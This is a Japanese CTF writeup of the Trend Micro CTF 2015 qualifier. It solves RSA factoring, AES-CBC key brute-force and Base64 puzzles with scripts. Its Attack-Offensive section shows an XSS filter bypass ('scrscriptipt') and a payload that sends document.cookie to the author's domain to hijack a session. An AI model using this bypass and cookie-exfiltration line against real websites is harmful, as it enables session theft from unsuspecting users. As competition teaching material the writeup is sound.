読者です 読者をやめる 読者になる 読者になる

バランスを取りたい

よくCTFの記事を書きます

Trend Micro CTF 2015 予選 Writeup

_0x0_ で 0x0 のメンバーと一緒に出てました。

解いた問題
  • Attack-Offensive 300
  • Crypto 100, 200, 500
  • Programming 200

Crypto100

問題文は忘れましたが鍵の1ビットが間違っているらしいので公開鍵を調査します。

$ openssl rsa -in PublicKey.pem -pubin -text
Modulus (256 bit):
    00:b6:2d:ce:9f:25:81:63:57:23:db:6b:18:8f:12:
    f0:46:9c:be:e0:cb:c5:da:cb:36:c3:6e:0c:96:b6:
    ea:7b:fc
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALYtzp8lgWNXI9trGI8S8EacvuDLxdrL
NsNuDJa26nv8AgMBAAE=
-----END PUBLIC KEY-----
$ ./rsatool.py info PublicKey.pem
N = 82401872610398250859431855480217685317486932934710222647212042489320711027708
e = 65537

Nが 256 bit で明らかに素因数分解する問題のようです。

適当に factordb に投げる。 http://factordb.com/index.php?query=82401872610398250859431855480217685317486932934710222647212042489320711027708

やたら素因数が多いので明らかにNが間違っている。256bit なので 255 通り 0 と 1 を入れ替えて素因数分解を試すスクリプトを書いたのだが、よく見ると N が偶数になっているので最下位の 1bit が間違っていることは自明だった…。

ということで

N = 82401872610398250859431855480217685317486932934710222647212042489320711027709

素因数分解はmsieveに投げて行ったが、SageMath Onlineでも投げたまま放っておいたら素因数分解できていたらしい。

あとはやるだけ。

$ openssl rsa -in key.pem -text
Private-Key: (256 bit)
modulus:
    00:b6:2d:ce:9f:25:81:63:57:23:db:6b:18:8f:12:
    f0:46:9c:be:e0:cb:c5:da:cb:36:c3:6e:0c:96:b6:
    ea:7b:fd
publicExponent: 65537 (0x10001)
privateExponent:
    66:15:bd:16:c8:f9:7c:25:34:5e:9b:e0:a3:2b:c5:
    9f:99:ce:0e:40:4f:21:be:bb:e9:7c:e3:bd:6d:c7:
    8d:01
prime1:
    00:d1:fd:95:65:da:e2:64:f5:fd:57:95:3d:bf:b9:
    e8:0d
prime2:
    00:de:18:43:68:2a:b2:b4:82:cc:ff:50:6f:02:cf:
    77:b1
exponent1:
    09:d0:77:46:0e:67:dc:5e:1e:dc:14:0e:91:c2:67:
    95
exponent2:
    3f:9f:47:c0:11:6b:3c:16:b4:4e:f7:65:b5:b2:65:
    21
coefficient:
    70:5c:89:87:14:da:41:59:01:f6:92:6a:28:2d:8d:
    39
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIGpAgEAAiEAti3OnyWBY1cj22sYjxLwRpy+4MvF2ss2w24Mlrbqe/0CAwEAAQIg
ZhW9Fsj5fCU0XpvgoyvFn5nODkBPIb676XzjvW3HjQECEQDR/ZVl2uJk9f1XlT2/
uegNAhEA3hhDaCqytILM/1BvAs93sQIQCdB3Rg5n3F4e3BQOkcJnlQIQP59HwBFr
PBa0TvdltbJlIQIQcFyJhxTaQVkB9pJqKC2NOQ==
-----END RSA PRIVATE KEY-----
$ ./rsatool.py info key.pem
N = 82401872610398250859431855480217685317486932934710222647212042489320711027709
e = 65537
p = 279125332373073513017147096164124452877
q = 295214597363242917440342570226980714417
d = 46174319388196978265129247000251984002598502609436833115707069256591953333505
$ openssl rsautl -decrypt -in enc -inkey key.pem
TMCTF{$@!zbo4+qt9=5}

Crypto200

画像で紙に印刷された Pythonソースコードを渡されます。1 と I と l が見分けにくくてつらい。

f:id:xrekkusu:20150928125511p:plain

CBC の特性について問う問題のようです。CBC の復号化では

{
P_i = AES^{-1}(C_i) \bigoplus C_{i-1}
}

という式で復号化されます。

つまり、画像ではマスクされている 1 ブロック目の暗号文は、 2 ブロック目を復号化したものに 2 ブロック目の平文をXORすれば求まることになります。 同様に、 1 ブロック目の暗号文を復号化したものと 1 ブロック目の平文を XOR すると IV を求めることができます。

共有鍵は 2 文字 = 16bit 足りないだけなので適当に総当りして、求めた 1 ブロック目の暗号文と画像で一部見えてるの hex が一致するものを取ってくればいい。

from Crypto.Cipher import AES
import sys
import string

plain = "The message is protected by AES!"
block2 = "307df037c689300bbf2812ff89bc0b49".decode('hex')

KEY = "5d6I9pfR7C1JQt" # 2 more chars

def decrypt(message, passphrase, IV='\0'*16):
    aes = AES.new(passphrase, AES.MODE_CBC, IV)
    return aes.decrypt(message)

REALKEY = ''
block1 = ''
for a in string.printable:
    for b in string.printable:
        TMPKEY = KEY + a + b
        xored_plain = decrypt(block2, TMPKEY, plain[16:])
        hexa = hex(int(xored_plain.encode('hex'), 16))

        if '0xfe' in hexa and 'ec3L' in hexa:
            print hexa
            block1 = xored_plain
            REALKEY = TMPKEY

print decrypt(block1, REALKEY, plain[:16])
0xfe1199011d45c87d10e9e842c1949ec3L
Key:rVFvN9KLeYr6

Crypto 500

解けたのに間違ってるらしい、クソとか言ってたら問題が間違っていたらしく、シャワーを浴びていたら他の人が submit していた。

500 点問題なのにやるだけ。問題文がわかりにくかった。

もうちょっと言えば BASE64 の1文字は 6bit なのでどう頑張っても隣接した2文字の影響しか受けない。というわけで 52 * 52 の総当りを行った。エンコードする上で 6 bitに満たない時は 0 を埋めるのを忘れずに。

import string

chars = string.ascii_letters
b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

table = set()
# gen table
for c in chars:
    b = '{:08b}'.format(ord(c))

    table.add(b[:6])
    table.add(b[2:])
    table.add(b[6:] + '0000')
    table.add(b[4:] + '00')

    for d in chars:
        b2 = '{:08b}'.format(ord(c))
        table.add(b[6:] + b2[:4])
        table.add(b[4:] + b2[:2])

a = '+/0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for t in table:
    num = int(t, 2)
    a = a.replace(b64[num], '')

print a
+/f7
sha1sum: 67569763552b4e9b8ac950be0d25f446f8470c60

Attack-Offensive 300

そんなに早く解いた気はしないけど何故か first solve で 3pt 追加でもらえた問題。

長々と書くと面倒なので要所のみ。

  1. お問い合わせページのフォームが POST だけでなく GET でもパラメータを受け付けることに気づく
  2. XSS ができるらしい。 script は消去が1度しか消去していないので scrscriptipt で回避
  3. location.href が使えないらしいことに気づく
  4. 外部からスクリプトを読み込む URL を作ってそこからさらに XSS
  5. document.write('<img src="http://mydomain/?' + escape(document.cookie) + '">');
  6. 奪ったセッションIDを使って診断結果を見ると名前の部分にフラグ
PHPSESSID=mj20l7bae2r5d2jod8e40b0q12
TMCTF{B1ack L!st1ng Is N0t 3nough}